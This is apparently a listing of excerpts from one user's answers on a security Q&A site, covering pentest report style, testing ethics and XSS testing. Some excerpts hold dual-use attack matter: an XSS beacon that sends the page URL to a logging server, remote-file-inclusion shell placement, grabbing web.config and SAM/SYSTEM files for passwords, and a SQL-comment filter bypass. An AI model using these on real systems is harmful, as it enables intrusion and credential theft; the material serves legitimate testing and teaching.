Hot answers tagged

47

Some other options: Passive voice: A vulnerability in HP Power Manager was discovered... Present tense: HP Power Manager is vulnerable to... It is most common (in the UK at least) to use the passive voice. I prefer using present tense when possible, and first person plural otherwise; the writing feels more personal. But this is controversial; a lot of ...


23

Number one rule of penetration testing: don't do it on things that don't belong to you. Yes, it is merely a spider. However, people think wget is a scary hacker tool and the US govt. actually used that in a case. I appreciate that you rectified your mistake, and I think that reflects well on you. You have a few options here, depending on your moral beliefs: ...


19

Typically you'll see them written in first person plural, and less often in third person singular, general. You might do first person singular if you are conducting the work as an individual and not as part of a company.


10

You can try console.log('XSS').


8

For testing purposes, I think the most useful one is a HTTP request. This allows your server to log URLs which successfully reflected the XSS. (new Image()).src = "https://localhost/log_xss?from=" + window.location; You can also wrap it in a userscript: // ==UserScript== // @match <all_urls> // @run-at document-start // ==/UserScript== ...


8

I'm guessing given that you've asked this question twice you're not able/planning to provide the additional details, but a comments too short to explain the problem with your question, so here's some more information untill this one gets closed :) Your question is essentially unanswerable. The reason for this is that there are a huge range of security ...


6

With DOM-Manipulation one could change the page itself. In case one knows the target page, it can be manipulated in some nice ways. An easy example would be: document.body.innerHTML = 'XSS';


5

Generally there are two ways you can upload a shell to a server. Use RFI to execute PHP script that places shell You place a text file on another webserver that contains php code to place a shell on the server then you include this file. You can place the shell on the server in various ways. Use FTP/HTTP/... module of php to download the shell from a ...


5

Here's the format I've used. Active voice for things you did, passive voice for the state the system exists in. At the beginning of the report: $tester (henceforth referred to as "we"/"I") tested $Application ... For a narrative style: We/I tested the foobar, and found it was vulnerable to baz. For a findings style: The Foo system is vulnerable to bar. ...


4

If your goal is to be understood, you will use the forms that say most clearly what really happened. If you performed the action and the pronoun is understood from context, "I discovered" is superior to any alternative for comprehension. Absent necessary context "Paul discovered…" or "Paul Burkeland discovered…" is most clear. There are answers here that ...


3

This is an empty SQL comment, and is treated the same as a space. This trick can be used to get around filters that strip out spaces. It may also be introduced to bypass a WAF or IDS.


3

This could be opinion based and up to the agreed upon scope of work. If you don't want to share information just make sure both parties know that before a contract or scope is defined and signed. However here are a few scenarios that I see my company doing. White Hat This is a full assessment with access to any and all information I would need to provide a ...


3

What you describe can be called an information disclosure vulnerability. You could use this technique as a method of fingerprinting (looking for specific operating system files, common web framework folders and files, etc.) and could prove useful in identifying a version of something on the system that is susceptible to a separate vulnerability. As you've ...


2

I usually do a Google image search for an amusing image, save this to my own HTTPS server and then create an <img /> tag using the XSS vulnerability. With a bit of imagination, this can demonstrate the vulnerability in a humorous way. Also check out the http://www.xss-payloads.com/ site for other interesting payloads.


2

Good pen testers tend to have three qualities: an attention to detail whilst following a flexible process so that nothing is missed, patience to keep going at something when they have a gut feeling that there's 'something there', and a lot of experience (which is how they get the 'gut' feeling in the first place). Poor pen testers follow a rigid checklist ...


2

When you spoof ones IP the answer will not reach you at least not for a long time. As a side effect you can cause what is called Port Stealing. This is happening when one IP is seen on two different ports of a switch. The IP is then assigned to the port the IP was last seen on which might be the port you spoofed the address from. But when the original host ...


1

You MUST run your own servers, and then try to attack them, then secure them from that attack, then attack again. You should use VMs. One source of working VMs for a wide range of applications is Turnkeylinux; another is Bitnamithey should not have deliberate security flaws, but if you install an ISO created a few months ago, and don't let it patch itself, ...


1

`perl -e 'print "pam," x 10000'` is executed in subshell, prints 10000 times pam divided by comma (,). The returned string is used as an argument for -oKbdInteractiveDevices= option (see manual page for ssh): KbdInteractiveDevices Specifies the list of methods to use in keyboard-interactive authentication. Multiple method names must be ...


1

You could grab important files as suggested. For example, web.config files or other application configuration files may contain sensitive information such as passwords. You could also try grabbing the SAM and SYSTEM files - the only trouble is that these will almost certainly be locked. In that case you could grab the backups from the repair folder. See ...


1

A pentester would never operate alone, there are too many errors and omissions. If you are looking for accreditation, look for it at the team, or member-company, level. In the UK (I am from the US, but I realize that the standards of quality in the UK are obviously slightly higher than ours), the two primary standards (and they go together) are the CBEST ...


1

There is no legitimate way for an unauthorized eavesdropper to access those specific packets. So let's break it down: Make it legitimate. Eve* could ask Alice or Bob for those packets. Authorize it. Eve could be a law enforcement officer, and request the network provider to deliver copies of those packets. Be less specific. If Eve is a thief who just ...



Only top voted, non community-wiki answers of a minimum length are eligible